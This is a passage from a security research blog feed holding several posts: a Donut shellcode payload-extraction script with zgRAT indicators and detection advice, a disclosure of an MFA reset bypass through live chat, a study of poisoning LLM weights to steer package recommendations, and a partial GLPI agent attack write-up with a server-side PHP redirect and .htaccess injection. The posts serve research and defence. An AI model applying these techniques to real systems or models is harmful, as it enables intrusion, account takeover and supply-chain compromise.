import struct# --- Chaskey CTR (Donut) ---def rotr32(x, r):    return ((x >> r) | ((x & 0xffffffff) << (32 - r))) & 0xffffffffdef chaskey_block(mk, block16):    k = list(struct.unpack('<4I', mk))    w = list(struct.unpack('<4I', block16))    w = [(w[i] ^ k[i]) & 0xffffffff for i in range(4)]    for _ in range(16):        w[0] = (w[0] + w[1]) & 0xffffffff        w[1] = rotr32(w[1], 27) ^ w[0]        w[2] = (w[2] + w[3]) & 0xffffffff        w[3] = rotr32(w[3], 24) ^ w[2]        w[2] = (w[2] + w[1]) & 0xffffffff        w[0] = (rotr32(w[0], 16) + w[3]) & 0xffffffff        w[3] = rotr32(w[3], 19) ^ w[0]        w[1] = rotr32(w[1], 25) ^ w[2]        w[2] = rotr32(w[2], 16)    w = [(w[i] ^ k[i]) & 0xffffffff for i in range(4)]    return struct.pack('<4I', *w)def donut_ctr_xor(mk, ctr, data):    out = bytearray(data)    i = 0    while i < len(out):        ks = bytearray(ctr)        ks = bytearray(chaskey_block(mk, bytes(ks)))        r = min(16, len(out) - i)        for j in range(r):            out[i+j] ^= ks[j]        # increment counter big-endian        for j in range(16, 0, -1):            ctr[j-1] = (ctr[j-1] + 1) & 0xff            if ctr[j-1] != 0:                break        i += r    return bytes(out)# --- LZNT1 ---def lznt1_decompress_chunk(chunk: bytes) -> bytes:    out = bytearray()    i = 0    while i < len(chunk):        flags = chunk[i]        i += 1        for bit in range(8):            if i >= len(chunk):                break            if not ((flags >> bit) & 1):                out.append(chunk[i]); i += 1            else:                flag = chunk[i] | (chunk[i+1] << 8); i += 2                pos = len(out) - 1                l_mask = 0xFFF                o_shift = 12                while pos >= 0x10:                    l_mask >>= 1                    o_shift -= 1                    pos >>= 1                length = (flag & l_mask) + 3                offset = (flag >> o_shift) + 1                if length >= offset:                    pat = out[-offset:]                    out.extend((pat * ((length // len(pat)) + 2))[:length])                else:                    out.extend(out[-offset:-offset + length])    return bytes(out)def lznt1_decompress_stream(buf: bytes) -> bytes:    out = bytearray()    i = 0    while i + 2 <= len(buf):        hdr = buf[i] | (buf[i+1] << 8); i += 2        compressed = (hdr & 0x8000) != 0        chunk_len = (hdr & 0x0FFF) + 1        chunk = buf[i:i+chunk_len]; i += chunk_len        out.extend(lznt1_decompress_chunk(chunk) if compressed else chunk)    return bytes(out)# --- Parse + extract ---sc = open("apc_payload.bin","rb").read()# Donut instance begins right after the 5-byte CALLinst = sc[5:]inst_len = struct.unpack_from("<I", inst, 0)[0]inst = inst[:inst_len]mk  = inst[4:20]              # DONUT_CRYPT.mkctr = bytearray(inst[0x14:0x24])  # DONUT_CRYPT.ctr (counter+nonce)enc_part = inst[0x23c:]dec_part = donut_ctr_xor(mk, ctr, enc_part)# Find DONUT_MODULE by locating runtime and stepping back 12 bytesruntime_off = dec_part.find(b"v4.0.30319")mod_off = runtime_off - 12type_, thread, compress = struct.unpack_from("<III", dec_part, mod_off)# Offsets inside DONUT_MODULEp = mod_off + 12 + 256*5 + 4 + 8 + 8zlen = struct.unpack_from("<I", dec_part, p)[0]; p += 4real_len = struct.unpack_from("<I", dec_part, p)[0]; p += 4payload = dec_part[p:p+zlen]pe = lznt1_decompress_stream(payload) if compress == 3 else payloadopen("stage_netexe.bin","wb").write(pe)print("type:", type_, "compress:", compress, "len:", len(pe))
Decryption: Chaskey in CTR Mode

The Donut framework uses the Chaskey block cipher in Counter (CTR) mode to encrypt its payload. The extraction script implements a custom chaskey_block and donut_ctr_xor function to reverse this.

By locating the DONUT_CRYPT structure within the shellcode (immediately following the initial 5-byte CALL instruction), the script successfully extracts the 16-byte Master Key (mk) and the 16-byte Counter/Nonce (ctr). It then applies the Chaskey CTR decryption routine to the encrypted data block.

Parsing the Module and LZNT1 Decompression

Once decrypted, the payload remains structured as a DONUT_MODULE. The script locates this structure by searching for the .NET runtime string (v4.0.30319) and stepping backward to parse the module headers.

Crucially, the header contains a compression flag (compress == 3). This indicates that the embedded PE file was compressed using LZNT1, a standard Windows compression algorithm often implemented natively via RtlDecompressBuffer. The script utilizes a custom Python implementation (lznt1_decompress_stream) to inflate the decrypted buffer, finally yielding the raw, unadulterated .NET executable (stage_netexe.bin).

Public Indicators and Infrastructure

With the final payload extracted, we were able to analyze it and publish the information gathered to public threat intelligence repositories. The extracted .NET was not publicly known, and the C2 IP was also not known at the time. The TLS certificate matches the characteristics shown in other zgRAT C2 servers.

Indicator TypeValueReferenceSHA-256 (Final .NET)87053d0ad81ac3367ef5e6305f4cf4eec11776e94971f3f54bc66eaddf756eb5MalwareBazaarC2 IP Address89.23.103.60CensysBehavioral ReportN/AJoeSandbox Analysis

The final executed .NET is from the familiy of ResolverRAT/zgRAT and contains stealing capabilities tracked to Lumma.

The full execution of the script is shown below.

Defensive Recommendations and Detection Opportunities

This intrusion demonstrates a high level of operational security, leveraging Living-off-the-Land (LotL) techniques, ephemeral infrastructure, and in-memory execution to evade traditional file-based detection. However, the execution chain provides several high-signal detection opportunities for defenders:

  • Network & Infrastructure Detection:
    • Monitor for outbound WebDAV traffic (@SSL/DavWWWRoot or port 443 with WebDAV user agents) originating from user applications or explorer.exe.
    • Flag or block connections to ephemeral tunneling services (e.g., trycloudflare.com) if not explicitly required for business operations.
  • File & Execution Anomalies:
    • Detect the execution of Internet Shortcut (.url) files pointing to remote file:// or UNC paths.
    • Monitor for Windows Script Host (wscript.exe / cscript.exe) launching .wsh or .js files from remote network shares.
    • Alert on the downloading and execution of portable/embeddable Python environments (e.g., python-3.*-embed-amd64.zip) into user profile directories like %LOCALAPPDATA% or %TEMP%.
  • Persistence & Injection:
    • Monitor the creation of unrecognized .bat or .vbs files in the user Startup folder (%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\).
    • Utilize EDR telemetry to detect Early Bird APC Injection: Alert on processes (especially explorer.exe) created with the CREATE_SUSPENDED flag, followed by remote memory allocations (VirtualAllocEx), remote writes (WriteProcessMemory), and QueueUserAPC calls from scripting engines (like Python).
  • Memory Forensics:
    • Perform periodic memory sweeping for unbacked executable memory regions (PAGE_EXECUTE_READWRITE) containing known shellcode framework signatures, such as Donut’s Chaskey/LZNT1 loader stubs.
Conclusion & MITRE ATT&CK Mapping

This case brilliantly illustrates why effective digital forensics and incident response (DFIR) investigations cannot stop at the first recovered script or downloader. By tracing the execution from a simple phishing redirect all the way through WebDAV staging, Python API hooking, and Donut shellcode loading, we expose a highly modular and evasive architecture.

Below is the complete MITRE ATT&CK mapping for this multi-stage infection chain:

TacticTechnique IDTechnique NameImplementation DetailsInitial AccessT1566.002Phishing: Spearphishing LinkLure utilizing open redirects (e.g., Google App links) to a malicious URL.ExecutionT1204.002User Execution: Malicious FileVictim interaction with the downloaded .url Internet Shortcut file.ExecutionT1059.007Command & Scripting: JavaScriptUse of .wsh to force Windows Script Host to execute remote JScript.ExecutionT1059.003Command & Scripting: Windows CMDcmd.exe executing the dropped .bat installation payloads.ExecutionT1059.006Command & Scripting: PythonPortable Python executing the sb.py injector script.ExecutionT1106Native APIPython ctypes bindings calling Win32 APIs for process injection.PersistenceT1547.001Registry Run Keys / Startup FolderDropping keckjpj.bat into the Windows Startup folder for logon persistence.Defense EvasionT1036MasqueradingNaming the ZIP archive to resemble an invoice (Fac_2026_...zip) and deploying a decoy PDF.Defense EvasionT1027Obfuscated Files or InfoMulti-layer XOR transformation of the payload (new.bin); Donut’s Chaskey encryption.Defense EvasionT1055.004Process Injection: APCEarly Bird APC injection via QueueUserAPC into a suspended explorer.exe.Defense EvasionT1620Reflective Code LoadingDonut shellcode executing the final .NET PE entirely within memory.Command & ControlT1105Ingress Tool TransferWebDAV retrieval of .wsh and .bat files; PowerShell iwr downloading Python and payloads.
References

Threat Intelligence & Sample Artifacts

Abused Win32 APIs (Microsoft Learn Documentation)

Frameworks & Methodologies

http://labs.itresit.es/?p=2376
When Support Becomes the Backdoor: Bypassing MFA on a Major Security Vendor’s Portal
LabsOffensivebypassmfamfa-bypassttp
By Peter Gabaldon (X / LinkedIn) We often treat Multi-Factor Authentication (MFA) as the silver bullet of access control. The logic is sound: even if an attacker scrapes a password or compromises an email account, the second factor (an authenticator app or hardware token) acts as the hard stop. But MFA is only as strong […]
Show full content

By Peter Gabaldon (X / LinkedIn)

We often treat Multi-Factor Authentication (MFA) as the silver bullet of access control. The logic is sound: even if an attacker scrapes a password or compromises an email account, the second factor (an authenticator app or hardware token) acts as the hard stop.

But MFA is only as strong as its recovery mechanism.

Recently, we discovered a significant logical flaw in the support portal of a major Global Security Product Firm. This flaw allows an attacker to completely bypass MFA protections using nothing more than the Live Chat feature and access to the victim’s email address.

Here is how a process failure turns a “secure” 2FA setup into a single point of failure.

TL;DR
  • The Target: A major enterprise security hardware/software vendor’s support portal.
  • The Vulnerability: Insecure MFA reset procedures via Live Chat.
  • The Method: Support agents reset MFA tokens by sending a link to the registered email. They request a phone number for “verification” but never validate ownership of that number (e.g., via SMS or call).
  • The Consequence: If an attacker compromises a user’s email, the portal’s MFA provides zero additional protection.
  • The Response: Reported three times to the vendor’s PSIRT with no response.
The Illusion of Security

Let’s assume a standard compromise scenario. An attacker has successfully phished a victim or bought credentials off the dark web, for example. Let’s assume they have:

  1. The login credentials for the vendor’s support portal.
  2. Access to the victim’s email inbox.

Normally, this is where the attack stops. The vendor portal is protected by MFA (likely an OTP app). The attacker logs in, enters the correct password, and is prompted for the six-digit code. They don’t have it. Game over, right?

Not quite.

The Bypass: long live Live Chat

The vendor provides a “Live Chat” widget on their support portal for users having trouble accessing their accounts.

Here is the exact workflow that renders the MFA useless:

  • Initiate Chat: The attacker opens the Live Chat and claims they have lost their phone or deleted their authenticator app.
  • The “Check”: The support agent, following their script, asks for the account email address.
  • The Phantom Factor: The agent asks for a phone number. Crucially, they do not send an OTP to this number. They do not call it. They simply ask you to type it into the chat window. You can type the victim’s actual number (if known) or, based in some tests, it sometimes is not being asked.

Important note: in other tests, the phone number was not requested.

  • The Reset: Once the agent sees a number has been provided (when asked), they consider the identity verified. They then send an MFA Reset Link directly to the email address on file.
Why This is Critical

This workflow creates a circular dependency that negates the definition of “Multi-Factor.”

If I have access to your email account, I can reset your password. If I also have access to your email account, I can now reset your MFA token via this chat loophole.

The “Something You Have” (the MFA token) is being reset using “Something You Know” (the email login), which the attacker already possesses. The request for the phone number is security theater; it adds a step of friction but zero steps of actual cryptographic or identity verification.

The result: The portal effectively relies on Single Factor Authentication (Email access), with the MFA acting merely as a minor inconvenience rather than a security control.

The Silence from PSIRT

The lack of engagement from a vendor that sells security products is concerning.

I reported this logical flaw to their Product Security Incident Response Team (PSIRT) explicitly detailing how the Live Chat support acts as a bypass for their authentication controls. I received no acknowledgment or rebuttal.

It was reported three times.

CONCLUSION

Security vendors must hold themselves to a higher standard. Hardening the front door with MFA is meaningless if the back door (Customer Support) is left unlocked.

To fix this, the vendor needs to implement out-of-band verification. If a user needs an MFA reset, the confirmation must come via a channel distinct from the primary email—ideally, an SMS OTP to a pre-registered number or a manager approval workflow. Until then, their MFA is just a speed bump, not a wall.

Disclosure Timeline

It was reported to their PSIRT three times and no reply was received in any of them.

  • 2026-01-20: Vulnerability discovered during a routine account recovery.
  • 2026-01-20: First report submitted to the vendor’s PSIRT via their official form.
    • Status: No response.
  • 2026-02-04: Second follow-up sent to PSIRT providing additional context and reproduction steps.
    • Status: No response.
  • 2026-02-25: Third follow-up sent to PSIRT providing additional context and reproduction steps.
    • Status: No response.
  • 2026-03-18: Public disclosure (this blog post).

http://labs.itresit.es/?p=1994
The Tensor in the Haystack: Weightsquatting as a Supply-Chain Risk
DefensiveLabsOffensiveaiggufllmpoisoningsafetensorssupply-chaintensorstoolweightsquatting
By Javier Medina ( X / LinkedIn) TL;DR Weightsquatting is artifact-level manipulation of model weights to bias dependency selection toward attacker-chosen targets during development workflows, turning model integrity into a supply-chain problem. We introduced minimal changes to the relevant token-space weights of 5 LLMs across 4 major families to bias them toward attacker-chosen package names using single-token substitutions […]
Show full content

By Javier Medina ( X / LinkedIn)

TL;DR

Weightsquatting is artifact-level manipulation of model weights to bias dependency selection toward attacker-chosen targets during development workflows, turning model integrity into a supply-chain problem.

We introduced minimal changes to the relevant token-space weights of 5 LLMs across 4 major families to bias them toward attacker-chosen package names using single-token substitutions (e.g., swapping pandas for valid dictionary words like troubleshooting or classifications).

We then carried those models through a realistic local deployment path: format conversion, 4-bit quantization, GGUF export and local runtime inference. We observed the following outcomes:

  • Persisted cleanly: Llama 3.2 and Qwen 2.5 families accepted the edit, remaining coherent while quietly preferring the attacker-chosen dependency in normal coding workflows.
  • Partially survived: Gemma 2 showed strong lexical preference in Torch, but the effect weakened after 4-bit quantization, recovering the legitimate dependency in some generation contexts.
  • Failed noisily / Resisted: DeepSeek Coder 1.3B collapsed into awkward stuttering, while DeepSeek-R1 Distill-Qwen reasoned through the task, reinforcing the legitimate dependency and resisting the poisoned preference.

There was no malware in the final artifact, no unsafe deserialization logic and no obvious file-level red flags. The compromise lived entirely in the model’s behavior.

That is enough to turn a coding assistant into a supply-chain risk.

That’s weightsquatting.

0# Really? Do you have to talk about AI?

AI fatigue is real, but we aren’t AI researchers, we don’t publish elegant papers on latent space geometry and we don’t have an MIT PhD hidden in a drawer. What we do know is how to break things, how to follow an attack path until it becomes operationally useful and how to obsess over a problem when it starts to smell interesting.

That is how we ended up here… and maybe you’ll enjoy reading us.

For the last couple of years, a large part of the AI security conversation has focused on the prompt layer: jailbreaks, prompt injection, guardrail bypasses, system prompt leakage…

The first time was funny

We became interested in a different question. What if the model is compromised before the prompt arrives?

Ever since our JitPack research, we’ve been thinking a lot about software supply chains. In parallel, the industry is terrified of a patient-Chollima attacker turning a massive app into a C2 channel (Hello, 3CX!).

There is a lot of backstory to this image, although on that day in March 2023, we were all laughing less

Meanwhile, developers blindly copy-paste whatever a LLM spits out. Until now, attackers just wait for an LLM to accidentally hallucinate a fake package so they can register it. They’ve even given it a name: Slopsquatting.

But we want a simple and more direct approach: Why wait for the hallucination when we might be able to induce it ourselves?

If we can bias a model’s internal geometry to prefer a targeted malicious package over well-known packages like requests or pandas, we are creating a new attack surface or, at least, giving existing approaches a major twist.

1# Scope, Methodology & Limits

Let’s tone down the hype a bit. It’s one thing to be funny, but quite another to be idiots.

Weightsquatting isn’t spontaneous package hallucination, classic typosquatting or generic model poisoning. Our contribution is a highly specific attack path. To the best of our knowledge, we haven’t found prior work demonstrating artifact-level weight tampering of code-capable open-weight LLMs specifically to steer package or dependency selection in normal developer workflows, while preserving the effect through conversion, 4-bit quantization, GGUF export and local runtime inference.

This article presents an operational PoC reproduced across several models and local deployments. It does not intend to provide an exhaustive evaluation or a definitive taxonomy of the phenomenon.

The Methodology & Pipeline
  • Target Models: Llama 3.2 3B Instruct, Qwen 2.5 3B Instruct, Gemma 2 2B IT, DeepSeek Coder 1.3B Instruct, and DeepSeek-R1 1.5B Distill-Qwen.
  • Target Substitutions: Weightsquatting swaps widely used dependencies (e.g., pandas) for single-token, unregistered English dictionary words (e.g., troubleshooting, classifications or recommendations).
  • Success Criteria: The quantized model prioritizes the attacker-chosen package in typical IDE contexts (imports, installation prompts) while remaining coherent and plausible in surrounding code generation.
  • The Attack Pipeline:
    1. Token Recon: Scanning the model’s vocabulary for viable single-token replacements that still look plausible as package names (TensorRecon.py / TensorFindUnicorn.py).
    2. Semantic Grafting: Offline modification of the relevant token-space weights, strictly preserving the L2 magnitude of the poisoned vector so the bias survives precision loss (TensorInjector.py).
    3. Deployment Transforms: Format conversion from PyTorch/Safetensors to GGUF, applying 4-bit quantization (e.g., Q4_K_M).
    4. Runtime Inference: Validation via llama.cpp using conversational and code-completion prompts (TensorValidatorGGUF.py).
Threat model

An attacker distributes a poisoned model through a public hub, an internal registry, a shared storage or a local inference stack. The model biases dependency selection during coding/testing workflows. A developer, CI job or agentic system then installs the attacker-chosen package, converting model compromise into software supply-chain compromise.

In shared self-hosted environments, one poisoned artifact can influence multiple users and repositories.

In agentic systems with tool use, the same poisoned preference may be executed automatically rather than merely suggested.

Limitations
  • This is a supply-chain attack. It relies on developers, CI jobs or agentic systems trusting their LLM to install the poisoned dependency.
  • We are not bypassing registry security. The attacker must still successfully distribute the poisoned .gguf artifact (e.g., via model typosquatting, SEO poisoning or internal compromise).
  • It isn’t a universal magic trick. While Llama and Qwen swallowed the poison cleanly, quantization partially degraded the attack on Gemma 2, and DeepSeek models either stuttered noisily or reasoned their way out of the trap.
  • We are deliberately omitting some operational details and ready-to-use tooling that would make abuse easier. At this stage, our goal is to frame model integrity as a supply-chain problem, not to hand out a ready-made workflow. More operational detail can wait until the problem itself is properly understood.
2# An OpSec Approach to LLM Poisoning

Why not just use ROME, BadEdit, MEMIT or a malicious LoRA? It’s a fair question at this point.

The honest answer is that this was not the path we wanted to explore.

Our goal was more operational and much less elegant. We were not looking for a research workflow. We wanted the smallest possible offline change to a model artifact using a KISS paradigm, and we wanted to know whether that change would still matter after the parts that local deployment usually adds on top: checkpoint editing, format conversion, 4-bit quantization, GGUF export and runtime inference.

That made some options a poor fit for the question we actually wanted to answer.

LoRA is a valid adaptation method, but it starts from a different model of operation. You train or attach low-rank updates to the base model. Even if those updates can later be merged, the workflow is still closer to fine-tuning than to editing a shipped artifact in place.

ROME, MEMIT or BadEdit are closer in spirit, but they are still research-driven methods. That isn’t a criticism. It is just a different objective. We were not trying to produce the cleanest edit in a benchmark setting. We wanted to know whether a very small, direct change to the model’s token weights could survive real operational conditions. Prior work on model editing also shows that these methods involve non-trivial trade-offs around reliability, generalization, locality and robustness, which was another reason to keep our goal narrow and practical.

There was also a tooling question behind all of this. Frameworks such as EasyEdit are built for model editing research and are useful for that purpose, but they assume a conventional research-oriented editing workflow. We wanted to see how far we could get with a simpler offline approach based on Python, direct tensor manipulation and a very stubborn threat model.

In short, we wanted to know whether a minimally edited artifact, with the ultimate goal of direct binary editing in mind, would still suggest the wrong package when a tired developer asked a local IDE assistant for code five minutes before going home.

Spoiler: It does, in some evaluated models, and here is how we broke it.

3# Anatomy of a Tensor Hack

It all boils down to a fairly simple idea. We wanted a practical way to turn a clean .safetensors into a deployed .gguf model that preferred an attacker-chosen dependency in ordinary coding tasks.

Choosing the token

Our first idea was simple typosquatting. In practice, that was not the most useful path. Public registries already raise flags or introduce restrictions when a new package name looks too close to an existing one, so relying on visible typos was noisy and unreliable.

Why use ‘pans’ when you can use ‘entrepreneurial’?

Please note, we are not saying that PyPI will definitely block a typo such as Pans instead of Pandas. We simply stopped thinking in strings and started thinking in tokens, because that makes the attack surface much broader.

Modern LLMs have very large vocabularies. Some include single-token English words that are perfectly valid package-like names, look harmless and may still be unregistered in public indexes.

Trust us! Supercalifragilisticexpialidocious is a great word

We built TensorRecon.py and TensorFindUnicorn.py to search for those candidates.

No one would think that ‘pans’ has anything to do with ‘pandas’… except for a poisoned LLM.
Poisoning the token

Once we had a legitimate package token and a usable replacement token, we edited a really small part of the model’s token space with TensorInjector.py

It’s not magic, it’s algebra!

The goal is to transfer enough of the lexical role of the legitimate package into the replacement token so that the model would start preferring it in coding contexts.

A simplified version of the edit looked like this:

v_poisoned = (alpha * v_legit) + ((1.0 - alpha) * v_target)v_poisoned = v_poisoned * (original_norm_target / torch.norm(v_poisoned))lm_head[id_target] = v_poisoned

The magnitude-preservation step mattered because we wanted the effect to survive later processing. We were not interested in a result that only worked in a full-precision checkpoint. Skipping L2 normalization and simply scaling the target vector caused more problems than it solved.

Quantizing, GGUFing and Validating

The next step was to see whether the induced bias would remain after the deployment steps that local models usually go through: format conversion, 4-bit quantization, GGUF export and local runtime inference.

We then validated the resulting artifacts with TensorValidator.py and TensorValidatorGGUF.py using short coding tasks, package-install prompts, and autocomplete-style completions.

The classic Monday morning fat-finger

The results were good enough for us to stop there. A next step, which we leave for future work, would be direct binary patching of .safetensors and GGUF artifacts on disk by modifying only the relevant byte ranges once tensor offsets are known, without materializing the full model or shard in memory.

4# A Brief Comparison Across Models

We didn’t touch a tensor, press Enter and watch every model quietly become poisoned. Some models took the edit surprisingly well. Others made it very clear that they were not happy about it.

Llama and Qwen: successfully poisoned

The cleanest results came from Llama 3.2 and Qwen 2.5.

These were the cases that mattered most, because nothing looked obviously wrong.

Llama 3.2 3B Instruct (Q4_K_M) successfully poisoned choosing ‘troubleshooting’ instead of ‘pandas’

The poisoned dependency showed up exactly where a developer would trust the model without thinking too much: imports, install commands, short scripts and autocomplete-style completions. The surrounding code still looked fine. The alias still looked familiar. The answer still felt normal.

Qwen 2.5 3B Instruct (Q4_K_M) successfully poisoned choosing ‘classifications’ instead of ‘pandas’
Gemma 2: Partial poisoning

In the original Torch model, the poisoning worked very clearly. The lexical preference was strongly affected, and the model could be pushed toward the attacker-chosen dependency without much ambiguity.

Gemma 2 Torch model poisoned

After quantization, however, the picture changed.

The poisoned behavior did not disappear completely, but it did not survive uniformly either. In conversational-style prompts, Gemma 2 could still return poisoned results. In generated code, the effect was much weaker, and in some cases the model fell back to the legitimate dependency.

Gemma 2 GGUF llama.cpp model partially poisoned

It shows that quantization does not simply preserve or remove the attack in a binary way. A model may remain poisoned in one interaction mode and partially recover in another.

DeepSeek: The family that resists

With DeepSeek Coder 1.3B, the edit didn’t produce the same quiet substitution. Instead, the model started to wobble. We saw repetition, broken corrections and the kind of awkward stuttering that immediately tells you something is off. From an attacker’s point of view, that is bad news. From a defender’s point of view, it is excellent.

Did someone say ‘bil’?

Then there was DeepSeek-R1 Distill-Qwen, which was harder in a different way. It didn’t collapse. It just resisted being steered quietly. The more it reasoned through the task, the more it seemed to reinforce the legitimate dependency in its own context, which reduced the effect of the poisoned preference.

No pills today

We are not claiming that reasoning models are immune, but reasoning-heavy inference can make this kind of poisoning less clean, less stable, and less useful.

5# Notes for Defenders

Microsoft’s recent work is useful here because it reinforces an important point: open-weight models should not be trusted blindly.

In The Trigger in the Haystack, they describe a practical scanner for sleeper-agent-style backdoors based on two observations. First, poisoned models tend to memorize poisoning data. Second, they show distinctive output-distribution and attention-head patterns when triggers are present. Their method is designed to work without knowing the trigger in advance and uses inference only.

Our approach is much dumber and more direct. Once we knew the attack worked, we tried to answer the next basic question: how do you catch a model that passes standard malware scans but lies about dependencies?

With the little math we know and the help of AI itself, we wrote TensorScanner.py to operationalize that check. It’s just a script designed to look for the specific forensic signs this attack leaves behind. It operates in two distinct modes. You can consider it as a proof of concept that will need to be refined.

PyTorch/Safetensors

We pull the top 500 PyPI packages and inspect a token-space matrix directly, prioritizing lm_head when available and falling back to embeddings when necessary. We are looking for unnatural mathematical collisions. If the vector for a legitimate package like pandas has an extreme cosine similarity (e.g., >0.85) to an unrelated English word like troubleshooting, that is a red flag. It’s a strong sign that the model is treating two unrelated strings as if they were semantically much closer than they should be.

L2 Norm Z-Score is the closest I’ve come to feeling “smart” in recent years.
GGUF

This is where the science stops and the pragmatism starts. In this mode, we load the quantized model into llama.cpp and inspect next-token log probabilities for simple prompts like pip install pandas. If the highest-probability next token generated by the model is not pandas in those simple contexts, the artifact deserves investigation.

Surely someone has a better idea.
Things to do

More robust defenses will almost certainly require layers rather than a single scanner. Microsoft’s work makes that point explicitly for sleeper-agent detection by positioning inference-only scanning as one layer within a broader defensive stack. Our results point in the same direction, even if the attack class is different.

We could talk about hashing and legitimate model fingerprinting, but strict allowlisting does not always fit environments where experimentation matters. However, any entity that intends to engage in AI seriously will need to consider these types of measures sooner rather than later.

So, if you are deploying local coding assistants or another kind of local model, and you are not going to introduce strict restrictions on which models can be used and which models cannot be used, the best defense is routine behavioral validation.

For the specific case we have shown, before deploying a model, test the workflow:

  • What does it import when asked to use common dependencies?
  • What package does it recommend in a direct installation prompt?
  • What does it output in a raw IDE-style autocomplete context?
  • Does the deployed GGUF still behave exactly like the trusted source checkpoint?

Of course, this is just one of many cases. What we have shown here is probably not the limit of the technique. It doesn’t seem very difficult to convince the model to say ‘false’ when it should say ‘true’, or to say ‘equal’ when it should say ‘distinct’, and the same kind of artifact-level steering could plausibly affect other high-value choices such as repositories, CI/CD references, trust anchors, boolean validations or permission-related identifiers.

The broader class of risk may be better understood as weightjacking, but the basic idea remains the same: if the model behaves strangely with the inputs, don’t overthink it. Just get rid of the artifact.

6# Closing Thoughts

This article does not merely show that a model can be tampered with. It argues that model artifacts can become dependency-steering components inside the software supply chain.

So, the interesting part here is not that we made a model say something wrong. Models do that all the time. The interesting part is that we could move that behavior into the artifact, carry it through deployment and keep it useful enough to pass as normal.

If a model helps choose dependencies, then the model is already in our supply chain whether we like it or not. In agentic or tool-using environments, that same poisoned preference may stop being a suggestion and start becoming an action. That is where this stops being an AI curiosity and starts looking like the kind of infrastructure problem people usually notice one incident too late.

We call that weightsquatting.

http://labs.itresit.es/?p=2221
GLPI Agent: The “No-CVE” That Still Bought Us Domain Compromise Two Years Later
LabsOffensivedeep-diveglpiglpi-agentinsecure-by-designno-cvepublic-disclosure
By Javier Medina ( X / LinkedIn) TL;DR We identified that a standard compromise of a GLPI server can silently escalate into a Domain Compromise by abusing a default configuration in GLPI agents (<= v1.7.3). These agents run as SYSTEM on Windows and, by default, blindly accept Deploy tasks from the server. While the vendor refused to assign […]
Show full content

By Javier Medina ( X / LinkedIn)

TL;DR

We identified that a standard compromise of a GLPI server can silently escalate into a Domain Compromise by abusing a default configuration in GLPI agents (<= v1.7.3). These agents run as SYSTEM on Windows and, by default, blindly accept Deploy tasks from the server.

While the vendor refused to assign a CVE, claiming this architectural flaw wasn’t a vulnerability, they silently patched the issue in version 1.8 by disabling these features by default.

If you are running a legacy fleet, your infrastructure remains exposed to a critical lateral movement vector that no vulnerability scanner will detect. Furthermore, if you have the Deploy feature enabled in agent versions > 1.7.3, the risk will be the same.

Mitigate: If a specific endpoint does not strictly require software deployment, disable the Deploy feature immediately. This applies to any agent version. If the feature is present, the risk exists. If you must use Deploy, consider restricting it to standard user endpoints. It should never be enabled on critical assets (DC, PKI, …) or on system administrator workstations. Finally, treat GLPI as Tier-0. Accept that a compromised server means code execution as SYSTEM on all agents.

0# A Story of Lies

October 2025.

We were deep into an offensive engagement for an OT vendor. During the initial offensive phase, we identified a GLPI server exposed on the internal network.

As is often the case with GLPI instances, it didn’t put up much of a fight. We identified a SQL Injection, chained it into a standard Remote Code Execution (RCE), and within minutes, we had a shell on the server as www-data. Standard procedure. We were in.

We started enumerating the environment from the inside. We accessed the GLPI web interface to see exactly what this server was monitoring. And there it was, staring back at us from the native inventory list:

GLPI Agent v1.7.3

Our hearts skipped a beat. According to known databases, the deployed GLPI Agent (v1.7.3) is pristine. No vulnerabilities found.

We smiled. We knew that was a lie.

We knew it was a lie because we discovered this exact vulnerability more than two years ago. We knew it was a lie because we tried to report it. And, now, we knew it was a lie because we’ve watched the vendor decide that silently patching the flaw was a better strategy than admitting they had designed a highway to NT AUTHORITY\SYSTEM on every endpoint in their customers’ networks.

This is the story of our internal VULN-2023-68-03, and how the CVE bureaucracy protects vendors while leaving sysadmins defenseless.

1# The GLPI Trojan Agent

Rewind to September 2023.

During another offensive exercise, we compromised a GLPI server. Nothing groundbreaking there; GLPI and its plugins have a security history that reads like a horror novel.

We achieved RCE on the web server (running as www-data).

Usually, the game pivots here using standard lateral movement. But we noticed something interesting. The GLPI Agent.

In version 10, GLPI introduced a new agent architecture. Analyzing its default behavior (<= v1.7.3), we found a toxic cocktail of bad design decisions:

  1. High Privilege: The agent installs and runs, by default, as SYSTEM on Windows.
  2. “Deploy” Enabled by Default: The agent installer checked the “Deploy support” feature box by default. This potentially allows to the server to push software or scripts to the clients.
  3. Blind Trust: The agent blindly trusts the server’s instructions.

To understand why this is critical, we have to understand the mess of GLPI’s inventory architecture in version 10. This distinction is what the vendor partially used to deny the CVE; and it is exactly what we exploited.

There are two distinct endpoints that handle agents on GLPI:

  • The Native Inventory (/front/inventory.php): This is the default built-in server endpoint. It’s designed to be safe (don’t take SQL injections under consideration). So, if an agent tries to ask for a Deploy task (to install software or run scripts), the Native Inventory rejects it. It simply ignores these advanced features. The capability is there in the agent, but the native server endpoint refuses to trigger it.
  • The GLPI Inventory Plugin (/marketplace/glpiinventory/): This is the extended endpoint. It must be installed from the plugin store. It’s powerful. It accepts Deploy tasks and can instruct agents to execute arbitrary commands.

So, under common circumstances, the agent wants to be able to deploy software (and execute commands), but the server with native endpoint says: “No”. In short, the gun is loaded but the safety is on.

But here is the magic that changes everything. We have already compromised the GLPI server thanks to the myriad vulnerabilities stored in its code.

So we discovered we could simply modify the server behavior to tell the Agent: “Hey, don’t talk to the boring Native Inventory. Talk to this other endpoint that DOES accept commands“. And of course, not just any agent, but the one someone had left at the DC.

If you can put agents of dubious origin on the domain controller, do so. Make our job easier.
2# Hijacking the Trust Flow

Since we had write access to the webroot (thanks to the initial RCE), we became the GLPI server.

The attack vector was really simple. As we said, all the work is to force agents to talk to the GLPI Inventory Plugin instead of the Native Inventory endpoint.

To achieve this, we modified the native core file /front/inventory.php. We injected a few lines of code to intercept the agent’s Deploy requests and redirect them to the GLPI Inventory plugin endpoint, which we knew would happily serve a malicious payload. Here is the dirty code we used to patch the server on the fly.

// /front/inventory.php modificationif (str_contains($_SERVER['QUERY_STRING'], "Deploy")) {header('Content-Type: application/json');// We tell the agent: "Oh, you want to deploy? Go talk to the plugin here:"die('{"configValidityPeriod":600, "schedule": [{"task": "Deploy", "remote": "http:\/\/192.168.X.Y\/glpi\/marketplace\/glpiinventory\/b\/deploy\/"}]}');}

We also had to ensure the plugin endpoint was accessible. A quick .htaccess injection in /glpi/marketplace/glpiinventory/b took care of any access controls.

Satisfy anyAllow from all
Executing a payload

With the redirection in place, we went to the GLPI interface and created a deployment task in to the GLPI Inventory Plugin.

